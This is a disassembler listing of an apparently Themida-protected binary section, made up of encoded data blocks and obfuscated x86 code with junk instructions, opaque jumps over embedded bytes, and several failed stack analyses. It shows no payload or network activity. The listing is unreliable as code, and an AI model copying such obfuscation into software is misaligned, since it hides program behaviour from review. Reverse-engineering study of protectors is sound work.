dd 7, 3044D4D0h, 6059C328h, 0EF816651h, 605A2F56h, 10E8h
dd 79B95800h, 0A4920250h, 0C08B630Dh, 422A5011h, 7E85F5Bh
dd 57000000h, 0EC5CD7E5h, 6158334Bh, 11820F61h, 0E9000000h
dd 0Ch, 72DB44DDh, 0C2B983AFh, 0EFA82AD6h, 13E9h, 4DD24400h
dd 4E2CE3EAh, 98460BE8h, 0B89FAB55h, 5B739390h, 5A22BEBAh
dd 95D88025h, 0BE9h, 0EED62E00h, 3AAF936Ch, 0AC54B2A1h
dd 0EDB1D381h, 9E93D47h, 0BD000000h, 2BBEAAC7h, 44C267F8h
dd 80CBB70Fh, 8166B8E3h, 0E8F1CCCBh, 5, 18E28784h, 38C0F3Fh
dd 80000000h, 665B66CAh, 867ECB81h, 12E9h, 29351500h, 86C3DC5h
dd 110C4133h, 293684h, 0FF534D5h, 32B8C8BFh, 0F33A8B7h
dd 18Ah, 0CE9F800h, 51000000h, 5B211796h, 0A52882C8h, 0BBD8C67Ah
dd 35F40C52h, 0F8CEB70Fh, 7E9h, 0DE7EAC00h, 6BB26E82h
dd 51E647B8h, 0C080607Fh, 31E681BDh, 615D61BEh, 3850Fh
dd 0C0800000h, 14E9F3h, 51BF0000h, 0E6E17FFEh, 5DA4A2C0h
dd 2F299FA2h, 0BB6B4803h, 0D78B3DBFh, 8B66DA8Bh, 0BB6660DFh
dd 0F60BD95h, 86h, 890F00h, 61000000h, 0AE8FC61h, 0C3000000h
dd 0DF9CBF54h, 0EB4DAD58h, 0FB8B661Ch, 91B9665Ah, 0F69B686h
dd 880h, 0CE815600h, 511439A6h, 0DFBF0F5Eh, 5E9h, 4A2A6800h
dd 0CBB615B8h, 8166F5F5h, 0B2EA73DBh, 5E8520Dh, 2000000h
dd 56A97512h, 800Fh, 5A580000h, 0BE9h, 41726D00h, 81500EDDh
dd 0E61F90B4h, 8E9h, 189EED00h, 0F259960Bh, 8E0F44h, 0F000000h
dd 0C81h, 6850F00h, 0F000000h, 83h, 95B86600h, 38B0F6Ch
dd 80000000h, 0B70F9ECDh, 0FE9F8h, 81C90000h, 278837F3h
dd 1C11540Dh, 0BFBED63Eh, 13E946h, 0C4B10000h, 0BB2CE69h
dd 9722FA60h, 5E928C5Ah, 0CC7649B8h, 0ACBA6691h, 8810F5Ch
dd 0F000000h, 281h, 60D08B00h, 66D8DB80h, 61A71CB9h, 7E206CBAh
dd 0D8B70F1Dh, 8BDFB70Fh, 7B0F8D8h, 66CA8B66h, 0E89175BFh
dd 11h, 61541D51h, 89073F63h, 0D79E92CCh, 6DDB354Fh, 39DF81A5h
dd 5A58687Ch, 0AFC88166h, 0F71B549h, 489h, 0E0B86600h
dd 0E8FE8B0Bh, 8, 0FAF7CF2Bh, 7A2BD0EFh, 11E9h, 6A2CFF00h
dd 7712847Dh, 49D92D96h, 32F19DC5h, 805F0B56h, 0F18B1FCCh
dd 0DDD48052h, 0BE95Bh, 0AD840000h, 8DF397C1h, 7B63FDF9h
dd 5850FEEh, 0B8000000h, 43AE92E5h, 0E875B4F8h, 10h, 462BEC3Ch
dd 1AA9E1B8h, 0CB4DD57h, 0FE015C1Ah, 0BE85FF9h, 73000000h
dd 0DC81A85Ch, 32901180h, 7E92ABFh, 0D8000000h, 0C9469A69h
dd 0E85E6FF5h, 7, 64631886h, 0F5DC4C25h, 1850F5Bh, 0F9000000h
dd 0FC68B66h, 0E181F8BFh, 2B33A053h, 0BBCABF0Fh, 0EC8EFB9h
dd 0BDF8E381h, 0EE8A48EBh, 0C86CC981h, 9B0306Ah, 0BEF98B66h
dd 75D638C9h, 0FCA8B66h, 381h, 94C28000h, 665134B7h, 0E958D88Bh
dd 0Ch, 115658E2h, 0CD32DEAEh, 0B5F1D6FBh, 0C181A1B2h
dd 86643D2h, 0F78B66F8h, 258E0Fh, 0DE80000h, 0A000000h
dd 54304086h, 4E82FE2Ah, 79A5F166h, 0DE9h, 4B13F600h, 931CD428h
dd 5958FB5Fh, 0F58E61Ch, 89h, 7E900h, 76C0000h, 0A8844ECh
dd 0C78160E6h, 38FEDDD8h, 2AF08166h, 8D0F6145h, 19h, 0AC08060h
dd 0EE8h, 0CBFB1000h, 2FD59D81h, 247733Fh, 5ECB53AFh, 0CDBB6661h
dd 8C0FFC63h, 9, 3810Fh, 0BF0F0000h, 19860FFBh, 0E8000000h
dd 11h, 3E359826h, 1014AFCDh, 610F6BCCh, 404E5404h, 595E57A8h
dd 61DA8B60h, 3890Fh, 8B660000h, 81F860F8h, 0B2FD7BD1h
dd 0BE666133h, 9E959E2h, 40000000h, 2558671Eh, 43ED76B8h
dd 6ECE8166h, 0EE887h, 1FCB0000h, 1C39444Bh, 2E6D9AC6h
dd 590E0473h, 5ECB8B66h, 96CF8166h, 0ACBA6608h, 0D2815042h
dd 334CE5D5h, 13E85259h, 0FC000000h, 0C50234Bh, 18A97FF6h
dd 0DDF9AD2Ch, 7801CEF6h, 5E500ABBh, 12E95B5Ah, 17000000h
dd 1679177Eh, 0C5957259h, 1E43B6D1h, 60245840h, 0DA8B661Dh
dd 586CBF66h, 6E9h, 0D5941800h, 0BB4011D0h, 688EADEDh
dd 0FDF8B66h, 11E8CBB7h, 76000000h, 0A4327FB9h, 51BA61ADh
dd 3F50EC13h, 0B3F22E6Ah, 19870Fh, 13E80000h, 0D5000000h
dd 4B87382h, 0CB6827BDh, 48FAC6FCh, 0D0B01AF8h, 5F5ED4A2h
dd 683FB956h, 0E95F3C2Bh, 11h, 0F5F52F6Bh, 0F04414C3h
dd 71325AE5h, 8B8321EFh, 0F38B66A0h, 0CE8F5F9h, 50000000h
dd 0E5396F70h, 0FC842759h, 0E8C6C249h, 0Dh, 70894317h
dd 0BF66644Eh, 813A0F7Eh, 0AECA817Eh, 5920240Bh, 6057F859h
dd 14E8h, 0B27E3800h, 9BE7D0DBh, 4E3B2BEFh, 5EBEE73Dh
dd 2443840Ch, 5F5758ADh, 0E2815E61h, 16BBD6C7h, 66DF8B66h
dd 0FB4F7B8h, 1987h, 14E900h, 24700000h, 83D46D38h, 7429224Ch
dd 0B8FE20C0h, 5989BA69h, 6660C033h, 0FF2F6BBh, 0F61F7BFh
dd 387h, 1FF58000h, 0B37FF380h, 18D0FE3h, 0F5000000h, 80C6B70Fh
dd 860FDDE7h, 2, 8B66D88Bh, 8840FFBh, 0F000000h, 28Eh
dd 0BBF78A00h, 611F9A14h, 9E9h
dd 61D00500h, 260D3987h, 0D980F7AFh, 0C18B5790h, 5890F59h
dd 0BE000000h, 2F5C62A5h, 0DE9h, 0DE40F400h, 86993B2Ch
dd 0A0603195h, 10E93960h, 0FE000000h, 0A8743141h, 9E427F89h
dd 0FFAF3E07h, 56D25539h, 0D4DA8166h, 8B66587Ch, 0F8E0FFEh
dd 0E9000000h, 0Ah, 80F5A03Bh, 0A498BF70h, 0B70F0793h
dd 48F0FD0h, 66000000h, 6097EABEh, 8E9h, 7EA56400h, 51489995h
dd 0FA8B6631h, 6E961h, 0C3B0000h, 0B2BC50F3h, 0DE9h, 45316000h
dd 0F569E03h, 193EE9A2h, 2ABA76F1h, 0B742AB06h, 4890F05h
dd 66000000h, 66CFC5BAh, 0FF5B8BEh, 289h, 0FF88B00h, 882h
dd 28E0F00h, 8A000000h, 0B1B966FAh, 0D981663Ch, 840F4509h
dd 1Ah, 148A0Fh, 0FE90000h, 88000000h, 0D108EAD0h, 1E6884A3h
dd 4DE5F59Fh, 0BB667433h, 8E0F616Fh, 3, 52D9BF0Fh, 9DC1815Fh
dd 0E9796B63h, 8, 1F68BBA6h, 0B3BE820Eh, 1F82DB81h, 0BB661E18h
dd 0E952392Bh, 0Bh, 543FBA4Fh, 33CB7D5Bh, 5BBFED3Ah, 0FF813B4h
dd 683h, 800F00h, 0F000000h, 283h, 0FD58A00h, 98Ah, 3880F00h
dd 0F000000h, 0B70FCEB7h, 0E8CA8AF2h, 0Dh, 0EECB6229h
dd 5806F0CFh, 2B6AEAFAh, 81665BF4h, 609EFADFh, 0D9C28166h
dd 0BE818h, 0F9660000h, 384B03A0h, 6E26CAFAh, 0FB8B668Eh
dd 0E952615Fh, 12h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh
dd 7DB32EADh, 805A66D3h, 0E2813BF0h, 2A51BD7Bh, 7E9h, 51707200h
dd 300FD409h, 0CB8BC38Bh, 978DBA60h, 0CA804E17h, 8B666103h
dd 0FC28BC1h, 1381h, 0BE85300h, 97000000h, 0D61584AEh
dd 3943875Bh, 5B5F9051h, 0AE960h, 0BBB70000h, 0B57315ABh
dd 0B6417D69h, 0F78B460h, 85h, 0F616100h, 48Ah, 98BF6600h
dd 0B999BFE0h, 800F60B5h, 18h, 10E8h, 74186100h, 0F89A0361h
dd 0D1BF7F5Ch, 80B0EA28h, 5EF38AA5h, 0BEDE8B66h, 896995Ah
dd 0AE9h, 9E0E0300h, 0C4D39B7Bh, 661613B3h, 66E84ABFh
dd 5B86EF81h, 0E8F8CD80h, 13h, 0C773BF51h, 0B0775C70h
dd 2D798CB7h, 41340172h, 0E930148Fh, 10h, 1620A875h, 1177682h
dd 2FF2F2E7h, 0E8788852h, 0FC28B5Fh, 0E980D8BFh, 0FBBF0FFCh
dd 800FBDB1h, 5, 79F87BBEh, 7E908h, 0F99F0000h, 894B727Fh
dd 0AD2EB968h, 8C0F4759h, 3, 0E9CE8B66h, 9, 471BC5D7h
dd 6DD9893Ah, 0C3BF0FABh, 0D381C28Bh, 466293A2h, 8B50E7B1h
dd 8B6659F9h, 12E9D3h, 4C6F0000h, 0D552CAEEh, 71CAB74Eh
dd 95D56397h, 408D980Eh, 0B8DF8166h, 850F67h, 80000000h
dd 80607ED9h, 0BF0F98E5h, 0B86661D9h, 12E9328Dh, 67000000h
dd 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h, 7E960DBh
dd 6F000000h, 847FBB2Bh, 54BB2194h, 616D6C5Ah, 6E1AACBFh
dd 7F38100h, 6677D610h, 8B66F38Bh, 4A05B8F1h, 0F600028h
dd 890FC9BFh, 1, 840F61F9h, 6, 27B9DB81h, 0E85124DDh, 0Dh
dd 5746E0FEh, 6117D679h, 2F972DBCh, 880F61h, 5B000000h
dd 0CF8B5059h, 0A7F68158h, 0E939D86Bh, 0Dh, 0A2335317h
dd 9AD74365h, 1913ECE4h, 0EB81667Ch, 81662751h, 0E8BAEAC9h
dd 13h, 1E35782Bh, 0B0A9C742h, 0D327FE49h, 7E01DC50h, 8BD1C4D9h
dd 820F59C8h, 5, 33B808BAh, 58C0F05h, 66000000h, 0AA80F181h
dd 5481B9F5h, 0B70F63EEh, 0C88B66C3h, 0AE9h, 5B295300h
dd 1EDF32F0h, 60A7E244h, 1890Fh, 0B1F90000h, 0BF0F61DDh
dd 0FF98BC6h, 483h, 0BFB86600h, 0BE930h, 0A24E0000h, 80D3D7B2h
dd 487ADFAEh, 0C9BF0F78h, 0FE9F9h, 57360000h, 593499E9h
dd 0AC1D99B0h, 6FB4F653h, 56C78B3Dh, 5ED3B70Fh, 4890Fh
dd 0B9660000h, 0D7BB3FECh, 8B0F64CBh, 805152F7h, 585F20CEh
dd 38E0Fh, 0B70F0000h, 0D68B66D2h, 0EE9h, 0C56DD00h, 0D26CFF3Ch
dd 0ED9E28C5h, 0BED3E5DBh, 2A0B4EBh, 0DE9h, 0F853CE00h
dd 0E896C8FFh, 6BD9DF23h, 0B660E11Ah, 6146B335h, 8166F560h
dd 61AB96C2h, 7EE08166h, 60FA8BB7h, 0FE9h, 224B3D00h, 0C139D3BEh
dd 679E226Bh, 3A0CD4D8h, 0BE6661F9h, 0CE95BDEh, 2D000000h
dd 9A623E90h, 0F8638C01h, 6682716Fh, 8166D08Bh, 0B246BDEBh
dd 80E78A43h, 8E0FB8D2h, 4, 9DEEB966h, 0FDFBF0Fh, 10E8DBBFh
dd 4C000000h, 9856C18Ah, 0AF595D85h, 0B84CC1E0h, 0E8D204B7h
dd 7, 79D4B3D7h, 0F82AF1A5h, 8B66585Ah, 0C38166D7h, 80536A55h
dd 605A07C8h, 930AAABAh, 61D38B1Ch, 81D18B66h, 0D74C87E0h
dd 13E934h, 0CBA30000h, 788FF5E9h, 3850AF89h, 8A1C1D09h
dd 0AE6F4F31h, 8166508Ch, 59461ECBh, 0E984B4F8h, 10h, 0B598A60Eh
dd 4FA1E100h, 52D855DFh, 9B31FECBh, 0FC3BF0Fh, 1B84h, 13E86000h
dd 5D000000h, 25CA73D4h, 0C5C26E12h, 285CF358h, 74245C4Fh
dd 6159591Dh, 800Fh, 850F0000h, 1, 6FB966F8h, 9E97Ch, 0A2B10000h
dd 485A5BEBh, 0FBACFD8h, 285h, 0B3FA8B00h, 3B6DBFFCh, 0D78B3C21h
dd 11E9h, 0E3748200h, 9A1449D6h, 60347A83h, 6458804Dh
dd 60F976F8h, 0D2D18166h, 0F78B6685h, 8B665761h, 0AE95FD1h
dd 0A5000000h, 4B028BB5h, 7EED53F9h, 38F0F2Dh, 60000000h
dd 5E961F5h, 12000000h, 4C089F7Bh, 0CBE7BB66h, 0B0F78B66h
dd 17BA66E0h, 0BA665715h, 8A59E0C8h, 0A850FF9h, 0E9000000h
dd 5, 0A9C107C7h, 0FC9B0BAh, 0E88h, 9E900h, 0F9A80000h
dd 2AD04842h, 6665A9C2h, 0CF7FC781h, 0FE9h, 0E4AF1D00h
dd 13FDE9A3h
db 0B8h, 0A4h
; ---------------------------------------------------------------------------
loc_5D4AB6: ; CODE XREF: Themida_:005C50E6J
xor edi, ds:170BD73Ah
pusha
jmp loc_5D4AD5
; ---------------------------------------------------------------------------
dw 6F51h
dd 808ABD0h, 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh
; ---------------------------------------------------------------------------
setalc
loc_5D4AD5: ; CODE XREF: Themida_:005D4ABDj
sbb cx, 0AFCEh
loc_5D4ADA: ; CODE XREF: Themida_:005D4B12j
popa
mov edx, esi
sub ecx, 41010CDh
jo loc_5D4AEB
mov eax, edx
loc_5D4AEB: ; CODE XREF: Themida_:005D4AE3j
jz loc_5D4AF6
mov ebx, 7D20E3D5h
loc_5D4AF6: ; CODE XREF: Themida_:loc_5D4AEBj
js loc_5D4B01
pusha
cld
push esi
pop edx
popa
loc_5D4B01: ; CODE XREF: Themida_:loc_5D4AF6j
call sub_5D4B17
in eax, 5Eh
imul edx, eax, 7F5B2EC5h
db 64h
shr eax, 0A4h
jecxz short loc_5D4ADA
push edi
stc
pop es
; =============== S U B R O U T I N E =======================================
sub_5D4B17 proc near ; CODE XREF: Themida_:loc_5D4B01p
mov dl, 0F2h
pop eax
movsx edi, ax
jmp loc_5D4B29
; ---------------------------------------------------------------------------
adc [edx-7], ch
pushf
mov cl, 3Ah
push ebx
loc_5D4B29: ; CODE XREF: sub_5D4B17+6j
jmp loc_5D4B3F
; ---------------------------------------------------------------------------
dw 0EE01h
dd 91FD8765h, 8F1B8D35h, 6EB0F8CEh
db 30h, 12h, 4Bh
; ---------------------------------------------------------------------------
loc_5D4B3F: ; CODE XREF: sub_5D4B17:loc_5D4B29j
mov ebx, 31C94210h
mov ecx, edx
mov cx, 4B8Eh
jmp loc_5D4B60
; ---------------------------------------------------------------------------
db 0EAh
dd 0D061A3DCh, 4F34D70Dh, 0EF801AA8h, 36E26D06h
; ---------------------------------------------------------------------------
loc_5D4B60: ; CODE XREF: sub_5D4B17+33j
mov eax, 2DBB24D7h
push eax
mov si, ax
pop esi
pusha
jmp loc_5D4B7F
; ---------------------------------------------------------------------------
add dh, [ebx+ebx*4+1AE6CBFAh]
pop esi
xor [edx], ah
and eax, 0CAA36F3Ah
loc_5D4B7F: ; CODE XREF: sub_5D4B17+54j
push edi
js $+6
pop edi
popa
push ecx
movsx eax, cx
pop edx
push eax
clc
pop ecx
mov edi, 5F2FDD37h
and eax, 8C89B8Bh
jmp loc_5D4BAB
; ---------------------------------------------------------------------------
fisttp qword ptr ds:57FFAD02h
push 0DA8D81Bh
loc_5D4BAB: ; CODE XREF: sub_5D4B17+84j
mov dx, cx
mov si, bx
jnp loc_5D4BBC
or dx, 3D7Ch
loc_5D4BBC: ; CODE XREF: sub_5D4B17+9Aj
jl loc_5D4BC7
sub ax, 36C5h
loc_5D4BC7: ; CODE XREF: sub_5D4B17:loc_5D4BBCj
pusha
mov ecx, ebx
mov al, 0D1h
popa
mov ax, cx
mov ecx, edi
stc
or esi, 4B81DBEAh
jmp loc_5D4BEB
; ---------------------------------------------------------------------------
dw 9807h
dd 44239F5Ch, 0F8367551h
db 0C8h, 19h, 8Bh
; ---------------------------------------------------------------------------
loc_5D4BEB: ; CODE XREF: sub_5D4B17+C2j
mov ebx, 470967A7h
adc ecx, 3ABABFCEh
pusha
jp loc_5D4C0C
jmp loc_5D4C0C
; ---------------------------------------------------------------------------
pop ebx
int 3 ; Trap to Debugger
les ebx, [edx]
db 64h
mov dl, 59h
push ss
jns short loc_5D4C53
loc_5D4C0C: ; CODE XREF: sub_5D4B17+E0j
; sub_5D4B17+E6j
jmp loc_5D4C18
; ---------------------------------------------------------------------------
imul ebx, esp, 6102F9E8h
inc ecx
loc_5D4C18: ; CODE XREF: sub_5D4B17:loc_5D4C0Cj
popa
clc
jnp loc_5D4C2F
call sub_5D4C2B
or dh, ch
scasb
popf
sub al, 80h
sub_5D4B17 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D4C2B proc near ; CODE XREF: sub_5D4B17+109p
mov di, si
pop esi
loc_5D4C2F: ; CODE XREF: sub_5D4B17+103j
pusha
jmp loc_5D4C45
; ---------------------------------------------------------------------------
fst qword ptr [eax+66h]
push ebx
ror byte ptr [edi+7AEB82Dh], 1
mov gs, ax
dec ebx
das
aad 39h
loc_5D4C45: ; CODE XREF: sub_5D4C2B+5j
mov di, 7CF2h
popa
jmp loc_5D4C55
; ---------------------------------------------------------------------------
db 27h
db 0FCh, 82h, 54h
; ---------------------------------------------------------------------------
loc_5D4C53: ; CODE XREF: sub_5D4B17+F3j
cmp al, 0E7h
loc_5D4C55: ; CODE XREF: sub_5D4C2B+1Fj
jmp loc_5D4C6A
; ---------------------------------------------------------------------------
dw 6E31h
dd 0A4D530A7h, 0E87E2E3Eh, 9B81A15Bh
db 0F1h, 0C0h
; ---------------------------------------------------------------------------
loc_5D4C6A: ; CODE XREF: sub_5D4C2B:loc_5D4C55j
jb loc_5D4C73
movzx edi, dx
loc_5D4C73: ; CODE XREF: sub_5D4C2B:loc_5D4C6Aj
jo loc_5D4C7E
sbb ax, 0A981h
loc_5D4C7E: ; CODE XREF: sub_5D4C2B:loc_5D4C73j
adc ebx, 6185B39Ah
jmp loc_5D4C98
; ---------------------------------------------------------------------------
db 3Fh, 94h, 32h
dd 5F15FF7Bh, 0B1717C0Dh, 0AD3967F5h
; ---------------------------------------------------------------------------
loc_5D4C98: ; CODE XREF: sub_5D4C2B+59j
mov al, 54h
pusha
push edx
add dx, 87E0h
pop ecx
ja $+6
popa
call near ptr loc_5D4CB5+1
rcl byte ptr [edx+0Dh], cl
ror dword ptr [esi-5], 1
cdq
loc_5D4CB5: ; CODE XREF: Themida_:005D4D06j
; sub_5D4C2B+7Ep
mov cl, 59h
sub_5D4C2B endp ; sp-analysis failed
mov cx, dx
jnp $+6
mov ecx, eax
mov edi, 357A973Dh
mov ax, 3A47h
mov dh, 0ADh
mov bx, 0FD13h
mov edi, ebx
push ecx
sbb edx, 14F8C04Ah
pop ebx
push edx
pop edi
jg loc_5D4CF6
jmp loc_5D4CF6
; ---------------------------------------------------------------------------
db 64h, 68h, 0FEh
; ---------------------------------------------------------------------------
xor [edx], al
mov dl, 77h
db 36h
retf 7F8Ah
; ---------------------------------------------------------------------------
db 9Dh, 33h
; ---------------------------------------------------------------------------
loc_5D4CF6: ; CODE XREF: Themida_:005D4CDEj
; Themida_:005D4CE4j
jg loc_5D4D0E
call sub_5D4D0A
pushf
add ah, dh
arpl dx, bx
jg short loc_5D4CB5
sbb dl, bl
; =============== S U B R O U T I N E =======================================
sub_5D4D0A proc near ; CODE XREF: Themida_:005D4CFCp
mov dx, si
pop ebx
loc_5D4D0E: ; CODE XREF: Themida_:loc_5D4CF6j
push esi
pusha
jmp loc_5D4D24
; ---------------------------------------------------------------------------
db 0F2h, 97h, 0EAh
dd 5B85A605h, 6F746E6Ch, 28E2377Dh
; ---------------------------------------------------------------------------
loc_5D4D24: ; CODE XREF: sub_5D4D0A+6j
or bh, 3
popa
pop esi
xor bl, 8Dh
mov ebx, 363DD349h
pusha
mov si, 0EF34h
mov bx, 958Dh
popa
mov edx, 577B15B1h
push edx
jmp loc_5D4D5A
; ---------------------------------------------------------------------------
dw 8983h
dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h
db 69h, 84h
; ---------------------------------------------------------------------------
loc_5D4D5A: ; CODE XREF: sub_5D4D0A+37j
pop ecx
loc_5D4D5B: ; DATA XREF: ___:off_43162Co
or edx, 6EFE3B77h
mov ecx, 4060DB7Ah
jmp loc_5D4D7C
; ---------------------------------------------------------------------------
db 0CFh
dd 0F5BC494Eh, 0EC00CA84h, 9E521DAFh, 0BE5A9917h
; ---------------------------------------------------------------------------
loc_5D4D7C: ; CODE XREF: sub_5D4D0A+5Cj
stc
call sub_5D4D89
mov edx, 6BE33704h
adc al, 0CCh
sub_5D4D0A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D4D89 proc near ; CODE XREF: sub_5D4D0A+73p
; FUNCTION CHUNK AT 005D4E40 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005D4E6E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005D4E89 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005D4EA1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005D4EB2 SIZE 00000046 BYTES
mov ebx, eax
pop edi
mov bh, 0DCh
movsx edi, dx
mov ax, 0DC4Bh
mov bh, 39h
mov ebx, 78CC7092h
adc eax, 6DD1E130h
cmc
jmp loc_5D4DBC
; ---------------------------------------------------------------------------
dd 2E7F4525h, 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h
; ---------------------------------------------------------------------------
loc_5D4DBC: ; CODE XREF: sub_5D4D89+1Aj
jmp loc_5D4DCD
; ---------------------------------------------------------------------------
db 0DAh, 7Bh, 87h
dd 0C9766C23h, 0A4192B45h
db 82h
; ---------------------------------------------------------------------------
loc_5D4DCD: ; CODE XREF: sub_5D4D89:loc_5D4DBCj
jmp loc_5D4DDF
; ---------------------------------------------------------------------------
dw 0CD27h
dd 8AFFAA1Eh, 6BEC7C92h
db 0EFh, 3Bh, 0F2h
; ---------------------------------------------------------------------------
loc_5D4DDF: ; CODE XREF: sub_5D4D89:loc_5D4DCDj
mov ax, 0CF7Ah
mov bh, 9Ch
jo loc_5D4DEF
mov si, 1118h
loc_5D4DEF: ; CODE XREF: sub_5D4D89+5Cj
push edi
xor esi, 3B9AE2Ah
pop edi
mov ebx, 511D6BAFh
cld
clc
mov dx, ax
jmp loc_5D4E0D
; ---------------------------------------------------------------------------
dw 3ED5h
dd 0FA788A6Dh
db 0Ah
; ---------------------------------------------------------------------------
loc_5D4E0D: ; CODE XREF: sub_5D4D89+78j
mov ecx, edx
mov di, cx
mov cx, 0Bh
push eax
mov si, dx
pop edi
clc
jnp loc_5D4E40
call near ptr loc_5D4E37+2
fist word ptr [ebx-45h]
pop es
xor eax, 475AC8A3h
add esp, [eax+2]
add bl, [ecx+ebp*4+0Fh]
loc_5D4E37: ; CODE XREF: sub_5D4D89+99p
mov edi, 0EEEB8121h
sub_5D4D89 endp ; sp-analysis failed
mov [bp+di], cl
pop eax
; START OF FUNCTION CHUNK FOR sub_5D4D89
loc_5D4E40: ; CODE XREF: sub_5D4D89+93j
jns loc_5D4E4D
push ebx
or cx, 3027h
pop edi
loc_5D4E4D: ; CODE XREF: sub_5D4D89:loc_5D4E40j
mov al, 0B6h
push eax
and esi, 2C573D42h
pop esi
movsx edx, si
movzx eax, ax
add bh, 0DDh
jmp loc_5D4E6E
; END OF FUNCTION CHUNK FOR sub_5D4D89
; ---------------------------------------------------------------------------
db 99h, 0B9h, 88h
dd 46BB64E9h
db 0C8h, 87h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D4D89
loc_5D4E6E: ; CODE XREF: sub_5D4D89+D7j
mov bl, 81h
mov dh, bh
jmp loc_5D4E89
; END OF FUNCTION CHUNK FOR sub_5D4D89
; ---------------------------------------------------------------------------
db 0B0h
dd 76A83BBDh, 8906D31Dh, 838A46DDh, 4BDE59EAh
db 15h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D4D89
loc_5D4E89: ; CODE XREF: sub_5D4D89+E9j
jnb loc_5D4E92
movzx edx, ax
loc_5D4E92: ; CODE XREF: sub_5D4D89:loc_5D4E89j
jmp loc_5D4EA1
; END OF FUNCTION CHUNK FOR sub_5D4D89
; ---------------------------------------------------------------------------
db 4Eh
dd 10D96277h, 3A8E095Bh
db 3Ah
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D4D89
loc_5D4EA1: ; CODE XREF: sub_5D4D89:loc_5D4E92j
mov si, 4A49h
jmp loc_5D4EB2
; END OF FUNCTION CHUNK FOR sub_5D4D89
; ---------------------------------------------------------------------------
dw 23B0h
dd 2D75FE27h
db 76h, 0C8h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5D4D89
loc_5D4EB2: ; CODE XREF: sub_5D4D89+11Cj
pusha
add ebx, 7EA07A2Ah
movsx edx, bx
popa
stc
cmc
mov ebx, edi
mov esi, 2099F243h
cld
sbb dl, 49h
and bx, 0F4A4h
jp $+6
mov edx, 5E345F8Bh
jno loc_5D4EE4
mov bx, 21D1h
loc_5D4EE4: ; CODE XREF: sub_5D4D89+151j
pusha
or ax, 1280h
popa
pusha
mov dx, di
call sub_5D4EF9
adc ch, bl
jmp short near ptr loc_5D4F38+2
; END OF FUNCTION CHUNK FOR sub_5D4D89
; ---------------------------------------------------------------------------
db 0D2h
; =============== S U B R O U T I N E =======================================
sub_5D4EF9 proc near ; CODE XREF: sub_5D4D89+166p
ja $+6
pop edx
popa
and al, 7Dh
mov edi, 6B945D99h
jmp loc_5D4F1A
; ---------------------------------------------------------------------------
dw 0CEEBh
; ---------------------------------------------------------------------------
fsub qword ptr [edi-422E3E2h]
inc esi
or ch, bl
dec edi
loc_5D4F1A: ; CODE XREF: sub_5D4EF9+10j
mov ah, cl
mov si, 0B421h
mov ax, di
call near ptr loc_5D4F38+2
int 8Ch ; used by BASIC while in interpreter
out dx, eax
xchg eax, edx
scasd
and edx, esp
test eax, 0B357B0D7h
push esp
das
inc esp
lodsd
loc_5D4F38: ; CODE XREF: sub_5D4D89+16Dj
; sub_5D4EF9+2Ap
sub edi, 59AFEC80h
sub_5D4EF9 endp ; sp-analysis failed
jmp loc_5D4F4E
; ---------------------------------------------------------------------------
db 0ABh
dd 582F3846h, 4FAF4E5Dh
db 7Dh, 57h
; ---------------------------------------------------------------------------
loc_5D4F4E: ; CODE XREF: Themida_:005D4F3Ej
or bl, 0DFh
xor al, 2
jmp loc_5D4F60
; ---------------------------------------------------------------------------
db 9Fh, 9, 7Ah
dd 0C52A2552h
; ---------------------------------------------------------------------------
loc_5D4F60: ; CODE XREF: Themida_:005D4F54j
mov esi, 15FECB26h
mov bx, si
push edi
jg loc_5D4F87
jmp loc_5D4F87
; ---------------------------------------------------------------------------
dd 0C48D54D9h, 0E3B4AAC5h, 0DE0D6196h, 0DC99C157h
db 0F8h, 3Eh, 1Ah
; ---------------------------------------------------------------------------
loc_5D4F87: ; CODE XREF: Themida_:005D4F69j
; Themida_:005D4F6Fj
pop ebx
or si, 2108h
mov al, 4Fh
xor ch, 0Ch
pusha
jz loc_5D4F9D
mov cx, 313Ah
loc_5D4F9D: ; CODE XREF: Themida_:005D4F93j
call near ptr loc_5D4FA2+6
loc_5D4FA2: ; CODE XREF: Themida_:loc_5D4F9Dp
mov esp, es:60735949h
popa
pop esi
popa
call sub_5D4FC3
cdq
lock loopne near ptr loc_5D4FEA+3
mov ecx, 0F590AA19h
; ---------------------------------------------------------------------------
dw 0CCF0h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0A0h, 25h, 30h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 61h, 0F0h
; =============== S U B R O U T I N E =======================================
sub_5D4FC3 proc near ; CODE XREF: Themida_:005D4FACp
mov ecx, 49133150h
pop ebx
jmp loc_5D4FE1
; ---------------------------------------------------------------------------
dw 0A119h
dd 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 333106CBh
db 38h
; ---------------------------------------------------------------------------
loc_5D4FE1: ; CODE XREF: sub_5D4FC3+6j
sub edx, 495E59E8h
mov dx, ax
loc_5D4FEA: ; CODE XREF: Themida_:005D4FB2j
sbb ebx, 53CB3D46h
jmp loc_5D4FFD
; ---------------------------------------------------------------------------
db 0E5h, 4Bh, 0EAh
dd 785661F1h
db 0B6h
; ---------------------------------------------------------------------------
loc_5D4FFD: ; CODE XREF: sub_5D4FC3+2Dj
jmp loc_5D5008
; ---------------------------------------------------------------------------
dw 64EDh
; ---------------------------------------------------------------------------
aas
pop esi
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
loc_5D5008: ; CODE XREF: sub_5D4FC3:loc_5D4FFDj
adc di, 894Fh
xor ax, 24BEh
jnb loc_5D501E
pusha
cld
mov cx, dx
popa
loc_5D501E: ; CODE XREF: sub_5D4FC3+4Fj
cmc
sub si, 1B96h
cmc
cmc
loc_5D5026: ; CODE XREF: sub_5D4FC3+DAj
jns $+6
